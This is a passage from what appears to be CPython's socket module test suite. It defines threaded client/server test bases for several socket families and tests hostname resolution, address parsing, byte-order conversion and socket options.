ThreadableTest.__init__(self)
def clientSetUp(self):
self.cli = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW)
try:
self.cli.bind((self.interface,))
except OSError:
# skipTest should not be called here, and will be called in the
# server instead
pass
def clientTearDown(self):
self.cli.close()
self.cli = None
ThreadableTest.clientTearDown(self)
class ThreadedRDSSocketTest(SocketRDSTest, ThreadableTest):
def __init__(self, methodName='runTest'):
SocketRDSTest.__init__(self, methodName=methodName)
ThreadableTest.__init__(self)
def clientSetUp(self):
self.cli = socket.socket(socket.PF_RDS, socket.SOCK_SEQPACKET, 0)
try:
# RDS sockets must be bound explicitly to send or receive data
self.cli.bind((HOST, 0))
self.cli_addr = self.cli.getsockname()
except OSError:
# skipTest should not be called here, and will be called in the
# server instead
pass
def clientTearDown(self):
self.cli.close()
self.cli = None
ThreadableTest.clientTearDown(self)
@unittest.skipIf(fcntl is None, "need fcntl")
@unittest.skipUnless(HAVE_SOCKET_VSOCK,
'VSOCK sockets required for this test.')
@unittest.skipUnless(get_cid() != 2,
"This test can only be run on a virtual guest.")
class ThreadedVSOCKSocketStreamTest(unittest.TestCase, ThreadableTest):
def __init__(self, methodName='runTest'):
unittest.TestCase.__init__(self, methodName=methodName)
ThreadableTest.__init__(self)
def setUp(self):
self.serv = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
self.addCleanup(self.serv.close)
self.serv.bind((socket.VMADDR_CID_ANY, VSOCKPORT))
self.serv.listen()
self.serverExplicitReady()
self.conn, self.connaddr = self.serv.accept()
self.addCleanup(self.conn.close)
def clientSetUp(self):
time.sleep(0.1)
self.cli = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
self.addCleanup(self.cli.close)
cid = get_cid()
self.cli.connect((cid, VSOCKPORT))
def testStream(self):
msg = self.conn.recv(1024)
self.assertEqual(msg, MSG)
def _testStream(self):
self.cli.send(MSG)
self.cli.close()
class SocketConnectedTest(ThreadedTCPSocketTest):
"""Socket tests for client-server connection.
self.cli_conn is a client socket connected to the server. The
setUp() method guarantees that it is connected to the server.
"""
def __init__(self, methodName='runTest'):
ThreadedTCPSocketTest.__init__(self, methodName=methodName)
def setUp(self):
ThreadedTCPSocketTest.setUp(self)
# Indicate explicitly we're ready for the client thread to
# proceed and then perform the blocking call to accept
self.serverExplicitReady()
conn, addr = self.serv.accept()
self.cli_conn = conn
def tearDown(self):
self.cli_conn.close()
self.cli_conn = None
ThreadedTCPSocketTest.tearDown(self)
def clientSetUp(self):
ThreadedTCPSocketTest.clientSetUp(self)
self.cli.connect((HOST, self.port))
self.serv_conn = self.cli
def clientTearDown(self):
self.serv_conn.close()
self.serv_conn = None
ThreadedTCPSocketTest.clientTearDown(self)
class SocketPairTest(unittest.TestCase, ThreadableTest):
def __init__(self, methodName='runTest'):
unittest.TestCase.__init__(self, methodName=methodName)
ThreadableTest.__init__(self)
def setUp(self):
self.serv, self.cli = socket.socketpair()
def tearDown(self):
self.serv.close()
self.serv = None
def clientSetUp(self):
pass
def clientTearDown(self):
self.cli.close()
self.cli = None
ThreadableTest.clientTearDown(self)
# The following classes are used by the sendmsg()/recvmsg() tests.
# Combining, for instance, ConnectedStreamTestMixin and TCPTestBase
# gives a drop-in replacement for SocketConnectedTest, but different
# address families can be used, and the attributes serv_addr and
# cli_addr will be set to the addresses of the endpoints.
class SocketTestBase(unittest.TestCase):
"""A base class for socket tests.
Subclasses must provide methods newSocket() to return a new socket
and bindSock(sock) to bind it to an unused address.
Creates a socket self.serv and sets self.serv_addr to its address.
"""
def setUp(self):
self.serv = self.newSocket()
self.bindServer()
def bindServer(self):
"""Bind server socket and set self.serv_addr to its address."""
self.bindSock(self.serv)
self.serv_addr = self.serv.getsockname()
def tearDown(self):
self.serv.close()
self.serv = None
class SocketListeningTestMixin(SocketTestBase):
"""Mixin to listen on the server socket."""
def setUp(self):
super().setUp()
self.serv.listen()
class ThreadedSocketTestMixin(ThreadSafeCleanupTestCase, SocketTestBase,
ThreadableTest):
"""Mixin to add client socket and allow client/server tests.
Client socket is self.cli and its address is self.cli_addr. See
ThreadableTest for usage information.
"""
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
ThreadableTest.__init__(self)
def clientSetUp(self):
self.cli = self.newClientSocket()
self.bindClient()
def newClientSocket(self):
"""Return a new socket for use as client."""
return self.newSocket()
def bindClient(self):
"""Bind client socket and set self.cli_addr to its address."""
self.bindSock(self.cli)
self.cli_addr = self.cli.getsockname()
def clientTearDown(self):
self.cli.close()
self.cli = None
ThreadableTest.clientTearDown(self)
class ConnectedStreamTestMixin(SocketListeningTestMixin,
ThreadedSocketTestMixin):
"""Mixin to allow client/server stream tests with connected client.
Server's socket representing connection to client is self.cli_conn
and client's connection to server is self.serv_conn. (Based on
SocketConnectedTest.)
"""
def setUp(self):
super().setUp()
# Indicate explicitly we're ready for the client thread to
# proceed and then perform the blocking call to accept
self.serverExplicitReady()
conn, addr = self.serv.accept()
self.cli_conn = conn
def tearDown(self):
self.cli_conn.close()
self.cli_conn = None
super().tearDown()
def clientSetUp(self):
super().clientSetUp()
self.cli.connect(self.serv_addr)
self.serv_conn = self.cli
def clientTearDown(self):
try:
self.serv_conn.close()
self.serv_conn = None
except AttributeError:
pass
super().clientTearDown()
class UnixSocketTestBase(SocketTestBase):
"""Base class for Unix-domain socket tests."""
# This class is used for file descriptor passing tests, so we
# create the sockets in a private directory so that other users
# can't send anything that might be problematic for a privileged
# user running the tests.
def setUp(self):
self.dir_path = tempfile.mkdtemp()
self.addCleanup(os.rmdir, self.dir_path)
super().setUp()
def bindSock(self, sock):
path = tempfile.mktemp(dir=self.dir_path)
socket_helper.bind_unix_socket(sock, path)
self.addCleanup(support.unlink, path)
class UnixStreamBase(UnixSocketTestBase):
"""Base class for Unix-domain SOCK_STREAM tests."""
def newSocket(self):
return socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
class InetTestBase(SocketTestBase):
"""Base class for IPv4 socket tests."""
host = HOST
def setUp(self):
super().setUp()
self.port = self.serv_addr[1]
def bindSock(self, sock):
socket_helper.bind_port(sock, host=self.host)
class TCPTestBase(InetTestBase):
"""Base class for TCP-over-IPv4 tests."""
def newSocket(self):
return socket.socket(socket.AF_INET, socket.SOCK_STREAM)
class UDPTestBase(InetTestBase):
"""Base class for UDP-over-IPv4 tests."""
def newSocket(self):
return socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
class UDPLITETestBase(InetTestBase):
"""Base class for UDPLITE-over-IPv4 tests."""
def newSocket(self):
return socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDPLITE)
class SCTPStreamBase(InetTestBase):
"""Base class for SCTP tests in one-to-one (SOCK_STREAM) mode."""
def newSocket(self):
return socket.socket(socket.AF_INET, socket.SOCK_STREAM,
socket.IPPROTO_SCTP)
class Inet6TestBase(InetTestBase):
"""Base class for IPv6 socket tests."""
host = socket_helper.HOSTv6
class UDP6TestBase(Inet6TestBase):
"""Base class for UDP-over-IPv6 tests."""
def newSocket(self):
return socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
class UDPLITE6TestBase(Inet6TestBase):
"""Base class for UDPLITE-over-IPv6 tests."""
def newSocket(self):
return socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDPLITE)
# Test-skipping decorators for use with ThreadableTest.
def skipWithClientIf(condition, reason):
"""Skip decorated test if condition is true, add client_skip decorator.
If the decorated object is not a class, sets its attribute
"client_skip" to a decorator which will return an empty function
if the test is to be skipped, or the original function if it is
not. This can be used to avoid running the client part of a
skipped test when using ThreadableTest.
"""
def client_pass(*args, **kwargs):
pass
def skipdec(obj):
retval = unittest.skip(reason)(obj)
if not isinstance(obj, type):
retval.client_skip = lambda f: client_pass
return retval
def noskipdec(obj):
if not (isinstance(obj, type) or hasattr(obj, "client_skip")):
obj.client_skip = lambda f: f
return obj
return skipdec if condition else noskipdec
def requireAttrs(obj, *attributes):
"""Skip decorated test if obj is missing any of the given attributes.
Sets client_skip attribute as skipWithClientIf() does.
"""
missing = [name for name in attributes if not hasattr(obj, name)]
return skipWithClientIf(
missing, "don't have " + ", ".join(name for name in missing))
def requireSocket(*args):
"""Skip decorated test if a socket cannot be created with given arguments.
When an argument is given as a string, will use the value of that
attribute of the socket module, or skip the test if it doesn't
exist. Sets client_skip attribute as skipWithClientIf() does.
"""
err = None
missing = [obj for obj in args if
isinstance(obj, str) and not hasattr(socket, obj)]
if missing:
err = "don't have " + ", ".join(name for name in missing)
else:
callargs = [getattr(socket, obj) if isinstance(obj, str) else obj
for obj in args]
try:
s = socket.socket(*callargs)
except OSError as e:
# XXX: check errno?
err = str(e)
else:
s.close()
return skipWithClientIf(
err is not None,
"can't create socket({0}): {1}".format(
", ".join(str(o) for o in args), err))
#######################################################################
## Begin Tests
class GeneralModuleTests(unittest.TestCase):
def test_SocketType_is_socketobject(self):
import _socket
self.assertTrue(socket.SocketType is _socket.socket)
s = socket.socket()
self.assertIsInstance(s, socket.SocketType)
s.close()
def test_repr(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
with s:
self.assertIn('fd=%i' % s.fileno(), repr(s))
self.assertIn('family=%s' % socket.AF_INET, repr(s))
self.assertIn('type=%s' % socket.SOCK_STREAM, repr(s))
self.assertIn('proto=0', repr(s))
self.assertNotIn('raddr', repr(s))
s.bind(('127.0.0.1', 0))
self.assertIn('laddr', repr(s))
self.assertIn(str(s.getsockname()), repr(s))
self.assertIn('[closed]', repr(s))
self.assertNotIn('laddr', repr(s))
@unittest.skipUnless(_socket is not None, 'need _socket module')
def test_csocket_repr(self):
s = _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM)
try:
expected = ('<socket object, fd=%s, family=%s, type=%s, proto=%s>'
% (s.fileno(), s.family, s.type, s.proto))
self.assertEqual(repr(s), expected)
finally:
s.close()
expected = ('<socket object, fd=-1, family=%s, type=%s, proto=%s>'
% (s.family, s.type, s.proto))
self.assertEqual(repr(s), expected)
def test_weakref(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
p = proxy(s)
self.assertEqual(p.fileno(), s.fileno())
s = None
support.gc_collect() # For PyPy or other GCs.
try:
p.fileno()
except ReferenceError:
pass
else:
self.fail('Socket proxy still exists')
def testSocketError(self):
# Testing socket module exceptions
msg = "Error raising socket exception (%s)."
with self.assertRaises(OSError, msg=msg % 'OSError'):
raise OSError
with self.assertRaises(OSError, msg=msg % 'socket.herror'):
raise socket.herror
with self.assertRaises(OSError, msg=msg % 'socket.gaierror'):
raise socket.gaierror
def testSendtoErrors(self):
# Testing that sendto doesn't mask failures. See #10169.
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.addCleanup(s.close)
s.bind(('', 0))
sockname = s.getsockname()
# 2 args
with self.assertRaises(TypeError) as cm:
s.sendto('\u2620', sockname)
self.assertEqual(str(cm.exception),
"a bytes-like object is required, not 'str'")
with self.assertRaises(TypeError) as cm:
s.sendto(5j, sockname)
self.assertEqual(str(cm.exception),
"a bytes-like object is required, not 'complex'")
with self.assertRaises(TypeError) as cm:
s.sendto(b'foo', None)
self.assertIn('not NoneType',str(cm.exception))
# 3 args
with self.assertRaises(TypeError) as cm:
s.sendto('\u2620', 0, sockname)
self.assertEqual(str(cm.exception),
"a bytes-like object is required, not 'str'")
with self.assertRaises(TypeError) as cm:
s.sendto(5j, 0, sockname)
self.assertEqual(str(cm.exception),
"a bytes-like object is required, not 'complex'")
with self.assertRaises(TypeError) as cm:
s.sendto(b'foo', 0, None)
self.assertIn('not NoneType', str(cm.exception))
with self.assertRaises(TypeError) as cm:
s.sendto(b'foo', 'bar', sockname)
self.assertIn('an integer is required', str(cm.exception))
with self.assertRaises(TypeError) as cm:
s.sendto(b'foo', None, None)
self.assertIn('an integer is required', str(cm.exception))
# wrong number of args
with self.assertRaises(TypeError) as cm:
s.sendto(b'foo')
self.assertIn('(1 given)', str(cm.exception))
with self.assertRaises(TypeError) as cm:
s.sendto(b'foo', 0, sockname, 4)
self.assertIn('(4 given)', str(cm.exception))
def testCrucialConstants(self):
# Testing for mission critical constants
socket.AF_INET
if socket.has_ipv6:
socket.AF_INET6
socket.SOCK_STREAM
socket.SOCK_DGRAM
socket.SOCK_RAW
socket.SOCK_RDM
socket.SOCK_SEQPACKET
socket.SOL_SOCKET
socket.SO_REUSEADDR
def testCrucialIpProtoConstants(self):
socket.IPPROTO_TCP
socket.IPPROTO_UDP
if socket.has_ipv6:
socket.IPPROTO_IPV6
@unittest.skipUnless(os.name == "nt", "Windows specific")
def testWindowsSpecificConstants(self):
socket.IPPROTO_ICLFXBM
socket.IPPROTO_ST
socket.IPPROTO_CBT
socket.IPPROTO_IGP
socket.IPPROTO_RDP
socket.IPPROTO_PGM
socket.IPPROTO_L2TP
socket.IPPROTO_SCTP
@unittest.skipUnless(sys.platform == 'darwin', 'macOS specific test')
@unittest.skipUnless(socket_helper.IPV6_ENABLED, 'IPv6 required for this test')
def test3542SocketOptions(self):
# Ref. issue #35569 and https://tools.ietf.org/html/rfc3542
opts = {
'IPV6_CHECKSUM',
'IPV6_DONTFRAG',
'IPV6_DSTOPTS',
'IPV6_HOPLIMIT',
'IPV6_HOPOPTS',
'IPV6_NEXTHOP',
'IPV6_PATHMTU',
'IPV6_PKTINFO',
'IPV6_RECVDSTOPTS',
'IPV6_RECVHOPLIMIT',
'IPV6_RECVHOPOPTS',
'IPV6_RECVPATHMTU',
'IPV6_RECVPKTINFO',
'IPV6_RECVRTHDR',
'IPV6_RECVTCLASS',
'IPV6_RTHDR',
'IPV6_RTHDRDSTOPTS',
'IPV6_RTHDR_TYPE_0',
'IPV6_TCLASS',
'IPV6_USE_MIN_MTU',
}
for opt in opts:
self.assertTrue(
hasattr(socket, opt), f"Missing RFC3542 socket option '{opt}'"
)
def testHostnameRes(self):
# Testing hostname resolution mechanisms
hostname = socket.gethostname()
try:
ip = socket.gethostbyname(hostname)
except OSError:
# Probably name lookup wasn't set up right; skip this test
self.skipTest('name lookup failure')
self.assertTrue(ip.find('.') >= 0, "Error resolving host to ip.")
try:
hname, aliases, ipaddrs = socket.gethostbyaddr(ip)
except OSError:
# Probably a similar problem as above; skip this test
self.skipTest('name lookup failure')
all_host_names = [hostname, hname] + aliases
fqhn = socket.getfqdn(ip)
if not fqhn in all_host_names:
self.fail("Error testing host resolution mechanisms. (fqdn: %s, all: %s)" % (fqhn, repr(all_host_names)))
def test_host_resolution(self):
for addr in [socket_helper.HOSTv4, '10.0.0.1', '255.255.255.255']:
self.assertEqual(socket.gethostbyname(addr), addr)
# we don't test socket_helper.HOSTv6 because there's a chance it doesn't have
# a matching name entry (e.g. 'ip6-localhost')
for host in [socket_helper.HOSTv4]:
self.assertIn(host, socket.gethostbyaddr(host)[2])
def test_host_resolution_bad_address(self):
# These are all malformed IP addresses and expected not to resolve to
# any result. But some ISPs, e.g. AWS, may successfully resolve these
# IPs.
explanation = (
"resolving an invalid IP address did not raise OSError; "
"can be caused by a broken DNS server"
)
for addr in ['0.1.1.~1', '1+.1.1.1', '::1q', '::1::2',
'1:1:1:1:1:1:1:1:1']:
with self.assertRaises(OSError, msg=addr):
socket.gethostbyname(addr)
with self.assertRaises(OSError, msg=explanation):
socket.gethostbyaddr(addr)
@unittest.skipUnless(hasattr(socket, 'sethostname'), "test needs socket.sethostname()")
@unittest.skipUnless(hasattr(socket, 'gethostname'), "test needs socket.gethostname()")
def test_sethostname(self):
oldhn = socket.gethostname()
try:
socket.sethostname('new')
except OSError as e:
if e.errno == errno.EPERM:
self.skipTest("test should be run as root")
else:
raise
try:
# running test as root!
self.assertEqual(socket.gethostname(), 'new')
# Should work with bytes objects too
socket.sethostname(b'bar')
self.assertEqual(socket.gethostname(), 'bar')
finally:
socket.sethostname(oldhn)
@unittest.skipUnless(hasattr(socket, 'if_nameindex'),
'socket.if_nameindex() not available.')
def testInterfaceNameIndex(self):
interfaces = socket.if_nameindex()
for index, name in interfaces:
self.assertIsInstance(index, int)
self.assertIsInstance(name, str)
# interface indices are non-zero integers
self.assertGreater(index, 0)
_index = socket.if_nametoindex(name)
self.assertIsInstance(_index, int)
self.assertEqual(index, _index)
_name = socket.if_indextoname(index)
self.assertIsInstance(_name, str)
self.assertEqual(name, _name)
@unittest.skipUnless(hasattr(socket, 'if_indextoname'),
'socket.if_indextoname() not available.')
def testInvalidInterfaceIndexToName(self):
self.assertRaises(OSError, socket.if_indextoname, 0)
self.assertRaises(TypeError, socket.if_indextoname, '_DEADBEEF')
@unittest.skipUnless(hasattr(socket, 'if_nametoindex'),
'socket.if_nametoindex() not available.')
def testInvalidInterfaceNameToIndex(self):
self.assertRaises(TypeError, socket.if_nametoindex, 0)
self.assertRaises(OSError, socket.if_nametoindex, '_DEADBEEF')
@unittest.skipUnless(hasattr(sys, 'getrefcount'),
'test needs sys.getrefcount()')
def testRefCountGetNameInfo(self):
# Testing reference count for getnameinfo
try:
# On some versions, this loses a reference
orig = sys.getrefcount(__name__)
socket.getnameinfo(__name__,0)
except TypeError:
if sys.getrefcount(__name__) != orig:
self.fail("socket.getnameinfo loses a reference")
def testInterpreterCrash(self):
# Making sure getnameinfo doesn't crash the interpreter
try:
# On some versions, this crashes the interpreter.
socket.getnameinfo(('x', 0, 0, 0), 0)
except OSError:
pass
def testNtoH(self):
# This just checks that htons etc. are their own inverse,
# when looking at the lower 16 or 32 bits.
sizes = {socket.htonl: 32, socket.ntohl: 32,
socket.htons: 16, socket.ntohs: 16}
for func, size in sizes.items():
mask = (1<<size) - 1
for i in (0, 1, 0xffff, ~0xffff, 2, 0x01234567, 0x76543210):
self.assertEqual(i & mask, func(func(i&mask)) & mask)
swapped = func(mask)
self.assertEqual(swapped & mask, mask)
self.assertRaises(OverflowError, func, 1<<34)
@support.cpython_only
def testNtoHErrors(self):
import _testcapi
s_good_values = [0, 1, 2, 0xffff]
l_good_values = s_good_values + [0xffffffff]
l_bad_values = [-1, -2, 1<<32, 1<<1000]
s_bad_values = l_bad_values + [_testcapi.INT_MIN - 1,
_testcapi.INT_MAX + 1]
s_deprecated_values = [1<<16, _testcapi.INT_MAX]
for k in s_good_values:
socket.ntohs(k)
socket.htons(k)
for k in l_good_values:
socket.ntohl(k)
socket.htonl(k)
for k in s_bad_values:
self.assertRaises(OverflowError, socket.ntohs, k)
self.assertRaises(OverflowError, socket.htons, k)
for k in l_bad_values:
self.assertRaises(OverflowError, socket.ntohl, k)
self.assertRaises(OverflowError, socket.htonl, k)
for k in s_deprecated_values:
self.assertWarns(DeprecationWarning, socket.ntohs, k)
self.assertWarns(DeprecationWarning, socket.htons, k)
def testGetServBy(self):
eq = self.assertEqual
# Find one service that exists, then check all the related interfaces.
# I've ordered this by protocols that have both a tcp and udp
# protocol, at least for modern Linuxes.
if (sys.platform.startswith(('freebsd', 'netbsd', 'gnukfreebsd'))
or sys.platform in ('linux', 'darwin')):
# avoid the 'echo' service on this platform, as there is an
# assumption breaking non-standard port/protocol entry
services = ('daytime', 'qotd', 'domain')
else:
services = ('echo', 'daytime', 'domain')
for service in services:
try:
port = socket.getservbyname(service, 'tcp')
break
except OSError:
pass
else:
raise OSError
# Try same call with optional protocol omitted
# Issue #26936: Android getservbyname() was broken before API 23.
if (not hasattr(sys, 'getandroidapilevel') or
sys.getandroidapilevel() >= 23):
port2 = socket.getservbyname(service)
eq(port, port2)
# Try udp, but don't barf if it doesn't exist
try:
udpport = socket.getservbyname(service, 'udp')
except OSError:
udpport = None
else:
eq(udpport, port)
# Now make sure the lookup by port returns the same service name
# Issue #26936: Android getservbyport() is broken.
if not support.is_android:
eq(socket.getservbyport(port2), service)
eq(socket.getservbyport(port, 'tcp'), service)
if udpport is not None:
eq(socket.getservbyport(udpport, 'udp'), service)
# Make sure getservbyport does not accept out of range ports.
self.assertRaises(OverflowError, socket.getservbyport, -1)
self.assertRaises(OverflowError, socket.getservbyport, 65536)
def testDefaultTimeout(self):
# Testing default timeout
# The default timeout should initially be None
self.assertEqual(socket.getdefaulttimeout(), None)
with socket.socket() as s:
self.assertEqual(s.gettimeout(), None)
# Set the default timeout to 10, and see if it propagates
with socket_setdefaulttimeout(10):
self.assertEqual(socket.getdefaulttimeout(), 10)
with socket.socket() as sock:
self.assertEqual(sock.gettimeout(), 10)
# Reset the default timeout to None, and see if it propagates
socket.setdefaulttimeout(None)
self.assertEqual(socket.getdefaulttimeout(), None)
with socket.socket() as sock:
self.assertEqual(sock.gettimeout(), None)
# Check that setting it to an invalid value raises ValueError
self.assertRaises(ValueError, socket.setdefaulttimeout, -1)
# Check that setting it to an invalid type raises TypeError
self.assertRaises(TypeError, socket.setdefaulttimeout, "spam")
@unittest.skipUnless(hasattr(socket, 'inet_aton'),
'test needs socket.inet_aton()')
def testIPv4_inet_aton_fourbytes(self):
# Test that issue1008086 and issue767150 are fixed.
# It must return 4 bytes.
self.assertEqual(b'\x00'*4, socket.inet_aton('0.0.0.0'))
self.assertEqual(b'\xff'*4, socket.inet_aton('255.255.255.255'))
@unittest.skipUnless(hasattr(socket, 'inet_pton'),
'test needs socket.inet_pton()')
def testIPv4toString(self):
from socket import inet_aton as f, inet_pton, AF_INET
g = lambda a: inet_pton(AF_INET, a)
assertInvalid = lambda func,a: self.assertRaises(
(OSError, ValueError), func, a
)
self.assertEqual(b'\x00\x00\x00\x00', f('0.0.0.0'))
self.assertEqual(b'\xff\x00\xff\x00', f('255.0.255.0'))
self.assertEqual(b'\xaa\xaa\xaa\xaa', f('170.170.170.170'))
self.assertEqual(b'\x01\x02\x03\x04', f('1.2.3.4'))
self.assertEqual(b'\xff\xff\xff\xff', f('255.255.255.255'))
# bpo-29972: inet_pton() doesn't fail on AIX
if not AIX:
assertInvalid(f, '0.0.0.')
assertInvalid(f, '300.0.0.0')
assertInvalid(f, 'a.0.0.0')
assertInvalid(f, '1.2.3.4.5')
assertInvalid(f, '::1')
self.assertEqual(b'\x00\x00\x00\x00', g('0.0.0.0'))
self.assertEqual(b'\xff\x00\xff\x00', g('255.0.255.0'))
self.assertEqual(b'\xaa\xaa\xaa\xaa', g('170.170.170.170'))
self.assertEqual(b'\xff\xff\xff\xff', g('255.255.255.255'))
assertInvalid(g, '0.0.0.')
assertInvalid(g, '300.0.0.0')
assertInvalid(g, 'a.0.0.0')
assertInvalid(g, '1.2.3.4.5')
assertInvalid(g, '::1')
@unittest.skipUnless(hasattr(socket, 'inet_pton'),
'test needs socket.inet_pton()')
def testIPv6toString(self):
try:
from socket import inet_pton, AF_INET6, has_ipv6
if not has_ipv6:
self.skipTest('IPv6 not available')
except ImportError:
self.skipTest('could not import needed symbols from socket')
if sys.platform == "win32":
try:
inet_pton(AF_INET6, '::')
except OSError as e:
if e.winerror == 10022:
self.skipTest('IPv6 might not be supported')
f = lambda a: inet_pton(AF_INET6, a)
assertInvalid = lambda a: self.assertRaises(
(OSError, ValueError), f, a
)
self.assertEqual(b'\x00' * 16, f('::'))
self.assertEqual(b'\x00' * 16, f('0::0'))
self.assertEqual(b'\x00\x01' + b'\x00' * 14, f('1::'))
self.assertEqual(
b'\x45\xef\x76\xcb\x00\x1a\x56\xef\xaf\xeb\x0b\xac\x19\x24\xae\xae',
f('45ef:76cb:1a:56ef:afeb:bac:1924:aeae')
)
self.assertEqual(
b'\xad\x42\x0a\xbc' + b'\x00' * 4 + b'\x01\x27\x00\x00\x02\x54\x00\x02',
f('ad42:abc::127:0:254:2')
)
self.assertEqual(b'\x00\x12\x00\x0a' + b'\x00' * 12, f('12:a::'))
assertInvalid('0x20::')
assertInvalid(':::')
assertInvalid('::0::')
assertInvalid('1::abc::')
assertInvalid('1::abc::def')
assertInvalid('1:2:3:4:5:6')
assertInvalid('1:2:3:4:5:6:')
assertInvalid('1:2:3:4:5:6:7:8:0')
# bpo-29972: inet_pton() doesn't fail on AIX
if not AIX:
assertInvalid('1:2:3:4:5:6:7:8:')
self.assertEqual(b'\x00' * 12 + b'\xfe\x2a\x17\x40',
f('::254.42.23.64')
)
self.assertEqual(
b'\x00\x42' + b'\x00' * 8 + b'\xa2\x9b\xfe\x2a\x17\x40',
f('42::a29b:254.42.23.64')
)
self.assertEqual(
b'\x00\x42\xa8\xb9\x00\x00\x00\x02\xff\xff\xa2\x9b\xfe\x2a\x17\x40',
f('42:a8b9:0:2:ffff:a29b:254.42.23.64')
)
assertInvalid('255.254.253.252')
assertInvalid('1::260.2.3.0')
assertInvalid('1::0.be.e.0')
assertInvalid('1:2:3:4:5:6:7:1.2.3.4')
assertInvalid('::1.2.3.4:0')
assertInvalid('0.100.200.0:3:4:5:6:7:8')
@unittest.skipUnless(hasattr(socket, 'inet_ntop'),
'test needs socket.inet_ntop()')
def testStringToIPv4(self):
from socket import inet_ntoa as f, inet_ntop, AF_INET
g = lambda a: inet_ntop(AF_INET, a)
assertInvalid = lambda func,a: self.assertRaises(
(OSError, ValueError), func, a
)
self.assertEqual('1.0.1.0', f(b'\x01\x00\x01\x00'))
self.assertEqual('170.85.170.85', f(b'\xaa\x55\xaa\x55'))
self.assertEqual('255.255.255.255', f(b'\xff\xff\xff\xff'))
self.assertEqual('1.2.3.4', f(b'\x01\x02\x03\x04'))
assertInvalid(f, b'\x00' * 3)
assertInvalid(f, b'\x00' * 5)
assertInvalid(f, b'\x00' * 16)
self.assertEqual('170.85.170.85', f(bytearray(b'\xaa\x55\xaa\x55')))
self.assertEqual('1.0.1.0', g(b'\x01\x00\x01\x00'))
self.assertEqual('170.85.170.85', g(b'\xaa\x55\xaa\x55'))
self.assertEqual('255.255.255.255', g(b'\xff\xff\xff\xff'))
assertInvalid(g, b'\x00' * 3)
assertInvalid(g, b'\x00' * 5)
assertInvalid(g, b'\x00' * 16)
self.assertEqual('170.85.170.85', g(bytearray(b'\xaa\x55\xaa\x55')))
@unittest.skipUnless(hasattr(socket, 'inet_ntop'),
'test needs socket.inet_ntop()')
def testStringToIPv6(self):
try:
from socket import inet_ntop, AF_INET6, has_ipv6
if not has_ipv6:
self.skipTest('IPv6 not available')
except ImportError:
self.skipTest('could not import needed symbols from socket')
if sys.platform == "win32":
try:
inet_ntop(AF_INET6, b'\x00' * 16)
except OSError as e:
if e.winerror == 10022:
self.skipTest('IPv6 might not be supported')
f = lambda a: inet_ntop(AF_INET6, a)
assertInvalid = lambda a: self.assertRaises(
(OSError, ValueError), f, a
)
self.assertEqual('::', f(b'\x00' * 16))
self.assertEqual('::1', f(b'\x00' * 15 + b'\x01'))
self.assertEqual(
'aef:b01:506:1001:ffff:9997:55:170',
f(b'\x0a\xef\x0b\x01\x05\x06\x10\x01\xff\xff\x99\x97\x00\x55\x01\x70')
)
self.assertEqual('::1', f(bytearray(b'\x00' * 15 + b'\x01')))
assertInvalid(b'\x12' * 15)
assertInvalid(b'\x12' * 17)
assertInvalid(b'\x12' * 4)
# XXX The following don't test module-level functionality...
def testSockName(self):
# Testing getsockname()
port = socket_helper.find_unused_port()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.addCleanup(sock.close)
sock.bind(("0.0.0.0", port))
name = sock.getsockname()
# XXX(nnorwitz): http://tinyurl.com/os5jz seems to indicate
# it reasonable to get the host's addr in addition to 0.0.0.0.
# At least for eCos. This is required for the S/390 to pass.
try:
my_ip_addr = socket.gethostbyname(socket.gethostname())
except OSError:
# Probably name lookup wasn't set up right; skip this test
self.skipTest('name lookup failure')
self.assertIn(name[0], ("0.0.0.0", my_ip_addr), '%s invalid' % name[0])
self.assertEqual(name[1], port)
def testGetSockOpt(self):
# Testing getsockopt()
# We know a socket should start without reuse==0
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.addCleanup(sock.close)
reuse = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR)
self.assertFalse(reuse != 0, "initial mode is reuse")
def testSetSockOpt(self):
# Testing setsockopt()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.addCleanup(sock.close)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
reuse = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR)
self.assertFalse(reuse == 0, "failed to set reuse mode")
def testSendAfterClose(self):
# testing send() after close() with timeout
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(1)
self.assertRaises(OSError, sock.send, b"spam")
def testCloseException(self):
sock = socket.socket()
sock.bind((socket._LOCALHOST, 0))
socket.socket(fileno=sock.fileno()).close()
try:
sock.close()
except OSError as err:
# Winsock apparently raises ENOTSOCK
self.assertIn(err.errno, (errno.EBADF, errno.ENOTSOCK))
else:
self.fail("close() should raise EBADF/ENOTSOCK")
def testNewAttributes(self):
# testing .family, .type and .protocol
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
self.assertEqual(sock.family, socket.AF_INET)
if hasattr(socket, 'SOCK_CLOEXEC'):
self.assertIn(sock.type,
(socket.SOCK_STREAM | socket.SOCK_CLOEXEC,
socket.SOCK_STREAM))
else:
self.assertEqual(sock.type, socket.SOCK_STREAM)
self.assertEqual(sock.proto, 0)
def test_getsockaddrarg(self):
sock = socket.socket()
self.addCleanup(sock.close)
port = socket_helper.find_unused_port()
big_port = port + 65536
neg_port = port - 65536
self.assertRaises(OverflowError, sock.bind, (HOST, big_port))
self.assertRaises(OverflowError, sock.bind, (HOST, neg_port))
# Since find_unused_port() is inherently subject to race conditions, we
# call it a couple times if necessary.
for i in itertools.count():
port = socket_helper.find_unused_port()
try:
sock.bind((HOST, port))
except OSError as e:
if e.errno != errno.EADDRINUSE or i == 5:
raise
else:
break
@unittest.skipUnless(os.name == "nt", "Windows specific")
def test_sock_ioctl(self):
self.assertTrue(hasattr(socket.socket, 'ioctl'))
